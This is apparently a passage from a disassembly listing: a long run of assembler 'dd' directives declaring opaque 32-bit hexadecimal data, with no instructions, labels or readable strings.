		dd 874B0849h, 5100C438h, 0DF0E8924h, 0CB55A6h, 2286613Ah
		dd 3945D4B3h, 9A260B00h, 0E12E7101h, 40DCA04Dh,	0EFA9C96Fh
		dd 826ED700h, 0E9047187h, 5CE4FED7h, 0A5789780h, 0CD2A0BA1h
		dd 1E0325B8h, 0BAF0A797h, 0E2003D15h, 7CC56112h, 50B22C88h
		dd 2F6FDCB5h, 81C5B87h,	3717D4BCh, 42295001h, 76F549F3h
		dd 1DC0DDE8h, 403396D9h, 17B2658h, 0F0413A0h, 0BBF79221h
		dd 0FE475CB1h, 0DA09A135h, 83AE00E1h, 7B6D7721h, 20EB0726h
		dd 47E47BB8h, 71DC9347h, 0D6F88FC8h, 0FD364500h, 31C01E7Ah
		dd 0D24100E6h, 77A827CDh, 545E33FBh, 0B87B8CE8h, 73B20059h
		dd 3B2F96C8h, 375BA50h,	0D82E451Eh, 4A8500F9h, 54F1246Eh
		dd 34570913h, 7CC18E02h, 142CBBh, 9952CA84h, 0C48179h
		dd 8A619B65h, 0F8156FD1h, 7E2DCE30h, 11E97B4h, 0F2EEB3BBh
		dd 0E8BF9D24h, 2100B9D8h, 67023609h, 2706DD5h, 2003F464h
		dd 0F4D839BEh, 79722802h, 68A2CB2Ch, 0DBEFC8h, 0D49771DDh
		dd 6BC469CEh, 782F7703h, 0F0965970h, 7967BA14h,	0B473C0h
		dd 0A5122DA8h, 0F7EFC30Eh, 33687107h, 66B0D790h, 3B53C73h
		dd 8DA0C7C4h, 4598F0C5h, 0C6006421h, 91A89829h,	28265B2h
		dd 32DE0E2Bh, 26E0C9D1h, 0C703BB73h, 6A156B71h,	0B560A8E8h
		dd 0B4DE03E4h, 0A2F022Dh, 9DD6F6E0h, 28F9C201h,	0AEAACF17h
		dd 3167D886h, 3E01200Fh, 0B6F0C29Eh, 0B960E99Dh, 53A20E2Ch
		dd 1E92360Ah, 3C521E64h, 0BD9DEB87h, 31187ACh, 28122E80h
		dd 0D200F131h, 5CC31FFDh, 0F77C000Dh, 0AC7DCE63h, 0AD98EC57h
		dd 70AA5F03h, 711168Bh,	482C8039h, 0D0B0B4E8h, 73283474h
		dd 4C00BCAAh, 0C19DDE8Eh, 0B06EEA12h, 20A3100Fh, 0E5CC54Ch
		dd 3B43009Ch, 88A4C2ABh, 12B8DD9Dh, 0A8A25433h,	728EF8B6h
		dd 0C7E007CFh, 90A3380Dh, 46A60510h, 5DB7F917h,	0AFD9C80Fh
		dd 0FF1D6085h, 3C6EB44h, 0CA46C77h, 900469C9h, 972EE10Ah
		dd 0FCAAD8BCh, 0B2A00F9h, 1FF7DC8Bh, 1100B4D5h,	566E9106h
		dd 1C7566C7h, 9F41B23Dh, 0E31E7C15h, 0E8B1D7Ch,	3981037Dh
		dd 0E8890B63h, 8D3C1E48h, 0EAC5CAFh, 830658DEh,	0C02009C9h
		dd 93FEDDh, 465B64Dh, 0B5C9A47h, 6800DCF8h, 0AE43AF5h
		dd 1EC74311h, 45667E5Ah, 30B5079Dh, 422C0C58h, 0EEB610C0h
		dd 1544FD2h, 609A9190h,	0CEEB0A8Eh, 470C9C40h, 0DA984D03h
		dd 21F173B5h, 27086529h, 882B90A9h, 225944D9h, 81F11DCh
		dd 0E5E74544h, 0C367119Bh, 114E0311h, 0C112E670h, 92512882h
		dd 141CD725h, 1528E511h, 0BC442228h, 8F3C3B50h,	8409E444h
		dd 42BD4B22h, 141628AFh, 229FFD22h, 0C28397ADh,	0FD272911h
		dd 5308F121h, 84A790C6h, 0C548F34Eh, 0E8EEFF80h, 0E2366Fh
		dd 4F696377h, 448FD54Ah, 0C7C55A00h, 14B4A7B5h,	25451F9Eh
		dd 96AC097h, 43A6FEC3h,	0E3ECEF0Bh, 0F26403AFh,	84B5D0CDh
		dd 0E25C1E75h, 4595401Dh, 6DBDEF33h, 0F4909B00h, 0DC8AADFh
		dd 8EBA00DDh, 63B20A57h, 2201EA1Eh, 24B5190Ch, 35C48636h
		dd 0D7F80Eh, 88849A82h,	2793FD76h, 0F6EDAA00h, 4D2D10D1h
		dd 89A40025h, 0CDF049A3h, 5A70615Eh, 734D649h, 79ECF1D1h
		dd 24353820h, 0EBB907A6h, 70B1A79Eh, 0C415B8A4h, 0FCAE7326h
		dd 40962500h, 83414677h, 18B8A1C3h, 4F008358h, 0F35C676Ah
		dd 15BA9C7h, 3E6665F7h,	0D5F4F5AAh, 0E2888B91h,	0EB8A3F0h
		dd 64E08020h, 775F0075h, 865D85F8h, 0C9006954h,	0CCCAEF31h
		dd 7B8FC533h, 0C4BD0317h
		dd 4F7491BEh, 0A06740E0h, 3102A0B0h, 0B165EA1h,	43988F49h
		dd 0C89A978Fh, 6A244Dh,	0C470A57Bh, 0DD1C9DF9h,	9C000174h
		dd 110BBAEEh, 307314h, 461948F4h, 1589E70Eh, 6D6F100h
		dd 7EA3CEB8h, 586F698h,	0F4744C9Fh, 0B9C007Ch, 3A6BFCF3h
		dd 0F1BDE1Dh, 0F9363B40h, 8638A0h, 8BB1B3E9h, 199A20E0h
		dd 4E0793E2h, 0FAC71556h, 0E8F33711h, 228B3D8h,	0AC19F699h
		dd 0C408581h, 5E0079E6h, 4AB83F94h, 70A94620h, 12E400C6h
		dd 0C4D807D6h, 7A0742FFh, 47E99E5Fh, 7FDBBEF0h,	0DA72A3h
		dd 1C1ED557h, 3B389F07h, 5F96207h, 55D04AFCh, 788D11DFh
		dd 3DEC053Ah, 208E5B96h, 28E272C4h, 65080E1Fh, 6926B500h
		dd 121C4Bh, 0E53D2C3Bh,	55852F84h, 0ED27D501h, 0B82D96ADh
		dd 0DA860421h, 112C1C92h, 636FCD00h, 0E4D99384h, 2FDE0444h
		dd 80BB4CE2h, 2EBF752Ch, 0E11D8F25h, 84247924h,	0A4E900D8h
		dd 4AFD855Fh, 6C000711h, 8ED0103Dh, 740919h, 6F3F171h
		dd 76D82043h, 4184521Bh, 0D05ED310h, 2608F705h,	17E791h
		dd 6C04D592h, 94CD29Ch,	0D99000E7h, 0AD36207Ah,	10680048h
		dd 38A2CBCEh, 270003BCh, 93D902DBh, 372095h, 5470A6B5h
		dd 7891D1A4h, 99741500h, 0BB56D271h, 0F5ED070Ch, 90C1399Fh
		dd 57B7D94Ah, 0ABC29B00h, 362B7CE0h, 0F10A12B3h, 0FF300092h
		dd 0DA2818CEh, 0FBDF8100h, 96769B8Eh, 880E3A32h, 0C490A738h
		dd 87DB0079h, 0EE0ABBADh, 3DA001CBh, 7109260Ch,	4134244Fh
		dd 0B0F07B0Fh, 65E9618Ah, 4032465Dh, 0F8C9070Eh, 0F5603A2Eh
		dd 751AE9C5h, 308648h, 952E2AB6h, 1DE6593Fh, 8789A6h, 0B2E93B9Fh
		dd 73000316h, 0DBCECDEh, 1DAEF0Fh, 822A44C1h, 80834C3Ah
		dd 5E4B3406h, 7CB027h, 24221D41h, 0FFCF187Dh, 1EBC1248h
		dd 2686E5FBh, 3E101303h, 0DA0951A7h, 800B8ADh, 4AB45464h
		dd 0B3C88450h, 5C333012h, 1958E000h, 4FE1DA3Ah,	53A8D0A7h
		dd 7DEC7594h, 6CA4CCA0h, 0F005393Ah, 8A6DD900h,	3F5D4EF4h
		dd 33E90091h, 0CA1AD436h, 420390A4h, 20C088F2h,	0A3885010h
		dd 22F00029h, 67F3F4E6h, 0CE00A594h, 37CF3B88h,	1C855C2Dh
		dd 0C12F38DAh, 222C1848h, 3371CC28h, 0D8244B0Fh, 5E72C383h
		dd 755C800Eh, 0C8BE2D7h, 5A70671Dh, 0E200AB10h,	0EF1F3827h
		dd 24FEBE04h, 1F443565h, 81803B3Eh, 52F3767Eh, 95005692h
		dd 8762D82Bh, 28DE15h, 0D4FA3EBFh, 50A4C65Dh, 0B229EA07h
		dd 94C13A88h, 802BDA23h, 822B5C64h, 5102CC00h, 3FB73710h
		dd 87E839h, 0AB13E476h,	0E5BE0555h, 89368500h, 84D93B42h
		dd 0D4F6098Ah, 0C48F33DCh, 3C43C2E0h, 344C4ED0h, 5AA00769h
		dd 0CA7035DDh, 1190Dh, 23EEE286h, 4E32693Bh, 4B0095ECh
		dd 1543B23Ah, 0F8E0C0h,	773F0586h, 0AC42E525h, 0DE8B2709h
		dd 0AA2010B2h, 824505EBh, 195BD47h, 2641D3E4h, 860B7F52h
		dd 0A6418738h, 45DFA3E1h, 35506E82h, 0C402B89h,	84021342h
		dd 0CC3D7E3Ah, 0EBE8A00Fh, 41B915h, 8F587D44h, 5BCF98CAh
		dd 3E002276h, 0A8C19B10h, 268402h, 0C8133130h, 0DCB1CFFDh
		dd 3376B3Dh, 2EACDFD6h,	8B509F38h, 0DDE33h, 819E58D7h
		dd 0D0174FBDh, 8600F870h, 4152438Ch, 486AA4CCh,	9801B0C2h
		dd 0E7698B08h, 0CF5FF491h, 8063C038h, 6897CBEFh, 7FF4E3Bh
		dd 0CA5C2931h, 0D9A1AF02h, 0E87FB3D8h, 8C00FDAFh, 12A69FBAh
		dd 0D1D249h, 86AED5CFh,	7478EBB3h, 4FF8700Fh, 41112024h
		dd 299B530h, 3CFBEAF7h,	0DE60ADBDh, 1E01195Ch, 2EC0FE6Eh
		dd 0CBE09783h, 3E420F61h, 0AE00ACCFh, 9FE1C3F2h, 0CD0011EEh
		dd 0F21FC88h, 0F252747Ch, 4F2000CAh, 622CBC9Bh,	0B1F42F3Fh
		dd 8019053Dh, 0EA171C81h, 0E64002h, 0EC5529C1h,	7B902DA5h
		dd 56892800h, 3F135FB2h, 8C5E288Eh, 736A3BDDh, 43A16080h
		dd 0A4B788BEh, 0CE14B600h, 0C9703B0Eh, 1179002Ah, 778E962Bh
		dd 0D4036A88h, 5956F89h, 0EACAA880h, 2C4E00EFh,	6B73A46Ch
		dd 4C78666Eh, 6944E300h, 831C861Eh, 2BEB00BCh, 38B97CA7h
		dd 6700915Dh, 0A8E7578Dh, 66E0B7h, 7BBA5956h, 58839E47h
		dd 618A7800h, 5ED33F2Eh, 596B067h, 0EF681187h, 0BD5D806Ah
		dd 0A4007D76h, 71EAB3BCh, 0E62104Ah, 0F9FD0A51h, 0E100AF97h
		dd 585B80CDh, 554900B2h, 0F6074B0h, 400D7FDh, 0A8D4592Fh
		dd 3B0CE156h, 82824180h, 90AC9291h, 0D80D089h, 0E63C2053h
		dd 13C29D0Ah, 1C87CCB1h, 58702B7Fh, 0FA145E9h, 5E30BA41h
		dd 0B31BD340h, 62001F0Fh, 0DF0915C0h, 15A7ECD2h, 0D07F313Ah
		dd 745CA503h, 71B03B79h, 0ED019540h, 220D08E2h,	0D8506920h
		dd 0AAB646h, 0B4DC41Ah,	2EBB053Ah, 0F030D300h, 0BDCBE25Dh
		dd 0E3E60719h, 50A99CA0h, 0FC874F69h, 56383B00h, 26E88B8Fh
		dd 0FDDFA1Dh, 0D5F2AEFh, 7423AAE0h, 0FE00360Fh,	0CC04F262h
		dd 19AFD0h, 182C2587h, 33111F91h, 0E2EC7E00h, 0BC21AE2Ah
		dd 94A100AFh, 0E1251785h, 0F500A734h, 2229CBF3h, 0F8B405DCh
		dd 23380075h, 0AFB9896Ch, 0E8065928h, 54E94A6Ah, 55840F7Ah
		dd 72231Dh, 0D7628C0h, 6906F038h, 0D7C10B1Ch, 0CC901E88h
		dd 3D68803Fh, 0E65FF94Ch, 0CF8012B8h, 6E0B958Fh, 80AB7246h
		dd 0FBF41A1h, 0D04709E4h, 0C0207D81h, 0F3633A2Ah, 2795AB3Fh
		dd 97EF08Fh, 9C36E154h,	0EA00BC09h, 6556DFCFh, 3082D000h
		dd 5D1A02EFh, 84830398h, 0E0E8C5EAh, 0AFBDA800h, 0A9D6D121h
		dd 281EF01Ah, 0A0114Eh,	0F607F161h, 0D247677h, 0C77C0206h
		dd 3E38F593h, 6B054282h, 803366D3h, 0C8BCAF9Eh,	73F40A00h
		dd 68DFCC40h, 0E828FE56h, 0D6AE002Eh, 0BF79643h, 0A600BFA9h
		dd 0EE1D22FBh, 784FEh, 0EF98AE49h, 0CF0E3B2Eh, 0E599E900h
		dd 1AECF740h, 0A2DB00E1h, 5AA4BC88h, 0D4901016h, 0A7F94100h
		dd 555E71D2h, 0D5331C09h, 4072DF0Dh, 0A01417C7h, 23070265h
		dd 0D60F5273h, 0BD461320h, 0A57F0101h, 53D721EAh, 6299F4DAh
		dd 0F83EC100h, 6A3C0383h, 0A1F1CA4h, 949B80B4h,	0C48AB967h
		dd 71C5574Ch, 94CDD5Ch,	61A9A697h, 2822E1FDh, 0D850280Ah
		dd 427A00DFh, 9436A95h,	110E0126h, 36C74F03h, 3B28E978h
		dd 342088D1h, 0CE08299Eh, 0DC401C0h, 0D705019Dh, 4775CFC8h
		dd 50288F60h, 0E86D0F4Eh, 0C35E07E9h, 0C7CA5862h, 80FE07F5h
		dd 14AF9EE6h, 57BBAC00h, 0CBD7C888h, 3CDB4459h,	8C006978h
		dd 7F7D3204h, 210CF1h, 424F8E1Fh, 63BCD31Dh, 80033A02h
		dd 40956675h, 3F555956h, 7E00105Ah, 0FF6D0935h,	300A828h
		dd 962CABECh, 89C2E0h, 146F71C8h, 16B361FAh, 4DF2B200h
		dd 9497152Bh, 357A04E3h, 0C5DD1242h, 0A6DE004Ch, 793DC46Bh
		dd 4554700h, 7AB9DE4Bh,	9E4800B1h, 671EC8CEh, 6D0F19FDh
		dd 0A0A170AFh, 9F5068DEh, 0D9050F4Dh, 0D0611EC0h, 0F47CCA8Ah
		dd 79F207E3h, 935294A8h, 81054800h, 0CB34336Ch,	5665005Eh
		dd 18392177h, 0C7000A40h, 12A75303h, 0CDFD906h,	3D4676A4h
		dd 40096311h, 80D1EDD2h, 0F0F37475h, 0A5000D3h,	7CE21949h
		dd 9000AF89h, 0E43AF9ADh, 30AB97h, 47FD694Ah, 45FCB9BBh
		dd 0D8BFAE1Eh, 39ED5C80h, 0B52E3D36h, 3A894340h, 0DD585400h
		dd 0F51DFE7h, 0F29612A1h, 9DD04066h, 8E5A715h, 0A2B81100h
		dd 0D0328DCFh, 1DFF0013h, 0C753BFC5h, 4438E62Ch, 22C400BEh
		dd 15F5E516h, 0D0EC264Bh, 0F1CE0047h, 7DC3DCEBh, 0F2606C00h
		dd 0DE8EA2EDh
		dd 3B0116EEh, 4F0C00BCh, 0BEFA542Bh, 0BD00D498h, 0CAF59E4Eh
		dd 0F39190D3h, 1F490C70h, 921B9Bh, 0D6BBAFFCh, 48C28469h
		dd 0BDD714h, 8AEACD4h, 45269401h, 4E4C76F5h, 520860h, 2579C149h
		dd 0C4AF6A57h, 0C49C8648h, 3E00CF4Ch, 0DF7DE4EEh, 0D8776D2Ch
		dd 0B8396A1Eh, 0E77B8083h, 0A89AF0B0h, 66373B1Bh, 0C009E803h
		dd 80009646h, 2532D01h,	0CDFD51h, 0B7E2DA81h, 0A6FCC029h
		dd 0F2111900h, 70D4804Bh, 54BA0914h, 0EB00227Eh, 0BC41F38Fh
		dd 0E4516600h, 3C4C835Fh, 0A1F4002Eh, 25FACFD4h, 0FE002339h
		dd 0E8B73D21h, 28A556Bh, 0DFC9C60Bh, 80805924h,	0BE798997h
		dd 0B1DCA200h, 32568886h, 3257CB8h, 62277826h, 18BED309h
		dd 24360500h, 0F48B8A35h, 0A3410E44h, 1760030Fh, 8F30767h
		dd 5D068D00h, 0B3BE0BC5h, 0D95520B5h, 0A41E0D00h, 0E1903612h
		dd 96301274h, 191C09C2h, 915A4486h, 7342B300h, 9AFCC3C7h
		dd 168E03F0h, 60AF7DD3h, 6D820397h, 0CCF7BB80h,	30170F16h
		dd 3CC88400h, 7047173h,	0A61AA44Ch, 9F4BD1A7h, 0C67DFC22h
		dd 0C9062A00h, 5954E8A2h, 780D000Eh, 848979B9h,	0B7E507Ah
		dd 909CE630h, 302B8EBh,	0DF742614h, 0B388AE15h,	17F43BECh
		dd 4CFE791Ch, 7C400F52h, 0A57CE15Bh, 0E7222CD3h, 94058050h
		dd 5466C02Bh, 1832ED00h, 22047761h, 9E114C89h, 0E0C53800h
		dd 6E3583DAh, 6C851500h, 72580F06h, 55AB0770h, 342C26FDh
		dd 99DCD1E6h, 326981E2h, 7B564D22h, 1D4DDD0h, 4111ED4Eh
		dd 0D38DCA76h, 56C56BD0h, 0CE33E978h, 109A9AAh,	5D223D40h
		dd 0F186EF2Ch, 8CB1809Ah, 4EAAABB5h, 0D2931836h, 7461924h
		dd 50B35700h, 0B764ECCCh, 0B567166Ah, 46EC60C6h, 0CF18FAB8h
		dd 941817DAh, 0C67900EBh, 86F64BF8h, 0F24BDB7h,	0D04AC2Ah
		dd 3480DDEAh, 7D8DBB2h,	4EC7B026h, 92B51421h, 0C0A0D508h
		dd 0E06D661Dh, 0F3463606h, 739B01Ch, 8617E4F7h,	0E95C90F8h
		dd 0DD005AA6h, 160A0FBAh, 0EAD1CAB9h, 9EF86Ah, 518A47Dh
		dd 0FC92CD6Bh, 71001475h, 0BF50649h, 90276488h,	0FF44985Fh
		dd 3F6C0D8h, 71845F3Ch,	0C7A0EF46h, 6B0049EAh, 0BDB82850h
		dd 79D162Bh, 7F31FCAFh,	0C68340B1h, 4225EFB5h, 0B3C2E0DFh
		dd 0EE3FEEC2h, 0FC9639AEh, 216AD780h, 1C0A9D9Ch, 9AED0105h
		dd 3FC7376Bh, 6DE992F0h, 299F6EB9h, 0F7000DCBh,	0EC676BABh
		dd 37BAFA2Ch, 0BD80B837h, 4C83CF8Eh, 7C02E2h, 0A64E24C9h
		dd 6364879Ch, 0C412BFFAh, 0B80FC6DEh, 0B79C37Fh, 3775D0EEh
		dd 944358BBh, 188C0400h, 73579E81h, 0F60175Ch, 77ED823h
		dd 0CF507D52h, 1064Ah, 0FDA869DFh, 0D70F688Ch, 75F0EB00h
		dd 1A4377E8h, 7123037Ch, 3ABD950Eh, 57318FE8h, 51823Dh
		dd 567E6242h, 0EBB2D8Dh, 0C143F883h, 0B61BDA0h,	100EB4C9h
		dd 413CEFB9h, 641408AAh, 5183E0h, 12B61531h, 2195CE0Bh
		dd 0DD37800h, 0BBCA4AE4h, 51E8009Ah, 0AA73E084h, 5024D1F5h
		dd 0C4818042h, 9FE9BF37h, 2CE89040h, 98A9F4D2h,	9050090Fh
		dd 3423A672h, 2800B89Bh, 0EB767FD0h, 2DC846Ah, 0BC2DD57Ch
		dd 5C60F218h, 0E8009E41h, 4ABEE0F3h, 7D01F5D1h,	0CA170014h
		dd 0F0339505h, 0C49DEB7h, 0E14B07B4h, 843BAF2Bh, 7C90A027h
		dd 31CDD1h, 5D8E902Ch, 0EAA4CB57h, 0E5588B61h, 0B820D741h
		dd 0C7F2004Bh, 7DD512BDh, 63DA714h, 25E200F9h, 0E18E8670h
		dd 7C4459BAh, 607B448h,	13B0C947h, 0C6D398D2h, 41584801h
		dd 5F79E150h, 7C8081BBh, 0C566F88h, 63FAD453h, 7A81049h
		dd 9A472B37h, 0D5DBF3h,	15899640h, 648F3BAFh, 51CE9109h
		dd 43B4C0B7h, 0B3D707E2h, 60081DDCh, 0FFC9C1Ch,	18677300h
		dd 198CE090h, 0EFAC0824h, 0D0059BF3h, 0A840A107h, 65CD3A0h
		dd 11382631h, 0E080BA34h, 39D2882Dh, 262CAFDAh,	2803B0BBh
		dd 0C84C3160h, 0D337ACh, 0D40133C8h, 0EC940DC4h, 0B201DAF2h
		dd 0CE15D9E6h, 0F78703h, 34132538h, 0C3CFDDC2h,	0FF3EA703h
		dd 72A80E9h, 0C8FAE059h, 0E7072032h, 5925D0E4h,	7FFD81Ch
		dd 0D6A67EE8h, 5838D19Eh, 20A2E146h, 70FD218h, 8D9093h
		dd 0A87B7365h, 42342C3Fh, 0D0E41384h, 3B260B50h, 0AD475C00h
		dd 0C2134817h, 0E6BE00DBh, 0B3ACA9D0h, 59009315h, 1F7A1430h
		dd 5C73D711h, 0D200A0E0h, 0C0D03575h, 0A3004647h, 0E128CE07h
		dd 0E4E376Fh, 9BC5781Ch, 33305E80h, 8F00A7D8h, 87B3A265h
		dd 0FF79970h, 0B59D6D7Fh, 5ED66140h, 0FC005B04h, 9710712Ch
		dd 95421Eh, 0F55D54CFh,	862FF7B5h, 8B00FE77h, 0DD30C49Bh
		dd 6B020Eh, 0AD1BAF7Fh,	4B614AB6h, 7319D400h, 74C23589h
		dd 5DE87EC9h, 46009436h, 8D8E584Eh, 0E774CD60h,	73F4DC15h
		dd 0F376189Ch, 0B539AEh, 4C18FAF9h, 0D8E6A84Bh,	0B6659B00h
		dd 0FE4E76EDh, 0B0E800DAh, 0A1B37ACCh, 8F1046E0h, 2708217h
		dd 88F7A9FFh, 9CA1C9DDh, 830F43h, 12CC0A34h, 884DD03Bh
		dd 500A2A8h, 47DED2EDh,	7F35AE5Bh, 3BCD038Dh, 29CBE72Bh
		dd 20127FC8h, 0BAB50612h, 43C180Bh, 65C0AC80h, 124A80B9h
		dd 1F4D1186h, 2B4B8583h, 0B5ECC3F7h, 5ABC4FB0h,	0F92530Bh
		dd 73750080h, 690924h, 0F664110Dh, 0DDAE3E1Ah, 1ECBC002h
		dd 83E0347Eh, 0F041CAA4h, 1476068h, 0F1857502h,	0D849C846h
		dd 0C400BB2Ch, 0FDBA53CEh, 0F490CDh, 54710FC1h,	0C286C7D7h
		dd 0CF28FB03h, 0EA312DC4h, 22B480A3h, 1EC7E417h, 80B5721Dh
		dd 618E38ACh, 5F3ACC92h, 22588051h, 94961B01h, 0BE9807C9h
		dd 0E1640567h, 0DC352E2Bh, 30283F9h, 0F1CCC3E5h, 42272085h
		dd 0D31FC957h, 0C7928ED5h, 5C65DC40h, 988F548Ch, 0B6808024h
		dd 24CC00BBh, 61BED3A4h, 0F1488DB1h, 909A03FCh,	0E0786394h
		dd 3B96588Ch, 883FBBEBh, 0E6501E0Fh, 0C7B68205h, 0DB39F144h
		dd 0CFF0F87Eh, 0F7970F0Eh, 0EE2BA0D1h, 73D703FFh, 19D6A7h
		dd 8ECC2E01h, 5051555h,	0DF48BCEEh, 0F0BF8CC0h,	2E3079Ah
		dd 437FEAE9h, 48D842ABh, 0D230C9F1h, 5D5C1140h,	58BE1F82h
		dd 61DF07E3h, 7033A3E1h, 1157F1F7h, 360DC01Dh, 0FBC1960Fh
		dd 514024Eh, 0F24581Fh,	0B353BED2h, 9EB5160h, 2B00F1DBh
		dd 0F28DEFECh, 19318EDh, 0A3A0CD5Dh, 0F8C2ACB7h, 0C50025F8h
		dd 38697DFDh, 506F173h,	0A89276E1h, 0E3F0C049h,	6D03A4DBh
		dd 60D28145h, 0FAF00089h, 66F6CC08h, 0FC0664A5h, 0A27B44C6h
		dd 1A791C88h, 0FF8B4556h, 39718045h, 0A80E3437h, 0E004A095h
		dd 2A3D94E7h, 68170398h, 0B40B13F6h, 5A00D693h,	0D762BD19h
		dd 4F2B2Ah, 38D08951h, 0FB0D29C1h, 0CBB0ED00h, 690A7EEAh
		dd 0EC20504Ah, 0A84C0457h, 0B0555E61h, 14A5E16Ch, 989296BEh
		dd 0D0C64840h, 7475A9Eh, 9F6252BFh, 8742F22Dh, 0D7D572C0h
		dd 78001073h, 2E111980h, 1D7C1556h, 0C0689204h,	0EA5EA863h
		dd 0DCB8B525h, 393BC700h, 0ECE576D5h, 9F409F27h, 0F7136026h
		dd 7CC4C6EFh, 83404B1h,	0F1CE00DFh, 45B1A210h, 24003127h
		dd 39016D11h, 72DE165Dh, 227C006Eh, 0F8508A5Ah,	0A200C048h
		dd 0ECCE394Fh, 4C4EB9C4h, 8C0BC0F9h, 408771CCh,	0B10D5012h
		dd 832C3204h, 6D005150h, 0A7B879AFh, 0CD1D02B2h, 0DF8C679Bh
		dd 95F984A0h, 0CF0329A8h, 0DE85DB77h, 203BF7EEh, 7241819Ch
		dd 0AC3007Ch, 88E90DD0h, 60027B1Ch, 9DBEA08h, 14F079h
		dd 0AB1D0ABBh, 7D316F8Ah, 0AA85A500h, 0E1B54BCh, 440D00F0h
		dd 766C8469h
		dd 0C6902BF2h, 745D4100h, 0BF880B95h, 0B8180051h, 52C076FBh
		dd 0F00878Ah, 0D210DD72h, 53C9208h, 938C4583h, 1B77C015h
		dd 0C01F2988h, 0F400F2C5h, 0A274EDF7h, 0B1830399h, 80F3BC7Ch
		dd 0D64650A0h, 0E652AB02h, 0E01B6FC4h, 90F5494h, 7525E34Ah
		dd 145658Ah, 0D7C4D5F2h, 340BEDC3h, 0D1023B50h,	0A5CE75EEh
		dd 40DAD3h, 9C406C97h, 133033A4h, 3995750Bh, 7E8003A1h
		dd 53BDD00Eh, 3FB10B2Bh, 0C0C00650h, 0F93C1211h, 36799F55h
		dd 9D43B802h, 0BA7040E8h, 0EF3801DBh, 52687A21h, 61980D1h
		dd 129A5F97h, 0E7C00045h, 5BCDB1EEh, 7C0084D2h,	0B4A9AA03h
		dd 3DB61A4Bh, 0A0012B9h, 0D2140CF5h, 6200429Eh,	0E6B4724Dh
		dd 3E35A6Bh, 0CE111A13h, 88C14B7Fh, 73712002h, 850F85Dh
		dd 8017B2F0h, 0AB673605h, 7402EA93h, 99FEE797h,	4B7A60DCh
		dd 0C0E6D7h, 20F3D8BDh,	81215A43h, 0B68F730Fh, 9346A133h
		dd 0B85017DFh, 2411421Ch, 85EDE4h, 0BBA4BE77h, 1807841Dh
		dd 15C6D8Bh, 1903A600h,	853D00C6h, 0CA918A7Eh, 5E00662Ah
		dd 53351F24h, 3CDBC8EBh, 90A8EC3Dh, 67B602B8h, 94FB145Fh
		dd 3F5C2850h, 55DE1235h, 0C1D18D00h, 9693D4Eh, 4B035EFDh
		dd 81145800h, 22077FC6h, 0DDDE6B52h, 4B73473h, 54476240h
		dd 0F27AC055h, 0C800271Ch, 4B04D4AAh, 1168003h,	0E69B4347h
		dd 0C5703775h, 5FB6C4CFh, 64F17C00h, 69F7EE0Ah,	0C6DF00F8h
		dd 2FA0E7D8h, 750E343Dh, 0AB17BB5Eh, 0FFBB00E4h, 1F1550BCh
		dd 9B6E730h, 0C581C3DAh, 0E8990A54h, 0EF12CF62h, 9B9F7Fh
		dd 0AF329A00h, 0BC9FCA9Ch, 0F4D34907h, 7CE2D45Bh, 50FDC070h
		dd 1E3600C4h, 2B244A66h, 0D13AF3ABh, 97250398h,	0B81C65C9h
		dd 165CADh, 92453B40h, 35DE7A29h, 32F2A01h, 0AE5EF34Dh
		dd 0EAEA4F30h, 28BA07ADh, 94E1F9AAh, 3846C045h,	0CE009724h
		dd 0A33C6873h, 0C37E86h, 0A8D658F2h, 0FC7CDF18h, 6B01D900h
		dd 8172C963h, 2B7357h, 229C87E5h, 0DDB5130Ch, 177AD800h
		dd 84567CCCh, 6B91F62h,	0E5B38091h, 0D5DD2107h,	7B82C8C7h
		dd 0D0E37FF3h, 3F811FBh, 0E6A907F3h, 65C85C34h,	0A61B6103h
		dd 0C8214152h, 1D3608h,	1989D810h, 2514D3BBh, 1270DD00h
		dd 290AEA60h, 971358B9h, 28E6A800h, 9F7B1F1Ah, 697E910Fh
		dd 0B0DE4047h, 0C090C221h, 46D1C880h, 572F80Ch,	3F45530Eh
		dd 51968043h, 0B29344h,	0CC571897h, 0B450D855h,	0BA31CE00h
		dd 0F202956Bh, 1DC80AB7h, 9D0C259h, 67808D3Dh, 575817D6h
		dd 0D0FB300h, 0CA1536DDh, 7310782Ch, 4AEC00A2h,	0D6A0331Dh
		dd 7F0020B1h, 667DC38Ah, 1CDB850Ch, 0A6C99E80h,	87DD0051h
		dd 3C096905h, 0E3F0C700h, 9B3122D7h, 0B502846h,	0DE9400E8h
		dd 3B74F813h, 0CA00C99Ah, 22D6C1AEh, 0E5877C2h,	5E4BEF65h
		dd 8D8E8440h, 6700E26Bh, 9916FF9Bh, 18E836F4h, 0D84855FAh
		dd 54009642h, 0C7808BD4h, 0CC6E1E9h, 0A358FBE6h, 7A003D20h
		dd 0A60899D0h, 0A013B4BBh, 1DD65A80h, 81CEDC8Ah, 6F1ACF9Ah
		dd 0AA95F455h, 8600F3E8h, 17E72BFDh, 3E1FD3C6h,	2100D971h
		dd 2758DD04h, 4207F7B6h, 952D3B51h, 8C1D4890h, 32EC00B7h
		dd 0D0756A6h, 4F009B0Ah, 370499A0h, 40283Dh, 644E59E5h
		dd 6E8736EDh, 0C95A7600h, 3B9E173Ch, 3207016Ah,	1CD58E38h
		dd 2D91E4FFh, 2C83330Eh, 22C9C42Fh, 90419098h, 0F190A884h
		dd 324A0F63h, 944EFE51h, 469F71C0h, 3AF2EA92h, 59D3B400h
		dd 339CA48Eh, 7DD00ABh,	0D94E6CF5h, 7A0037C0h, 3039C994h
		dd 0E325A7h, 2762CBD3h,	0DB937582h, 0B1009BE6h,	0DD670A41h
		dd 1D219EA9h, 0DD7B7A07h, 0D0351852h, 0EF07E77Fh, 5FCFAC41h
		dd 0C123BEC0h, 0AF9AC019h, 60910DA4h, 0FD26CD00h, 3686AC5Ah
		dd 0BDCE006Ah, 0F48365B0h, 6900D86Bh, 0E9D46F6Eh, 1CB7BFh
		dd 18222B0Eh, 0E7931A45h, 9DE80A00h, 1BC87182h,	0F8F900E3h
		dd 63AFB8EDh, 0E6600D3Ah, 5DD23E76h, 0B40702DEh, 0DA24F287h
		dd 0AEE35460h, 0D038EA0Eh, 63340BAh, 0EE581663h, 3E520020h
		dd 7D30C6F2h, 4C9A7132h, 68008DFCh, 778072DBh, 30613BBDh
		dd 1680979Dh, 0BFF0D84Bh, 7E00E6B0h, 0E6DA4A11h, 0FE6B17F4h
		dd 69C500E3h, 2C79B595h, 30982901h, 23212501h, 0A2AF330Fh
		dd 3D0020B9h, 0DC7FFB70h, 3E0CB54Dh, 80DFF6B2h,	456A3498h
		dd 3280EF29h, 60828BCEh, 0F9012106h, 7700A841h,	0E44EE886h
		dd 4CBD4355h, 0BC009074h, 1388987h, 3E1D7362h, 0D25230C9h
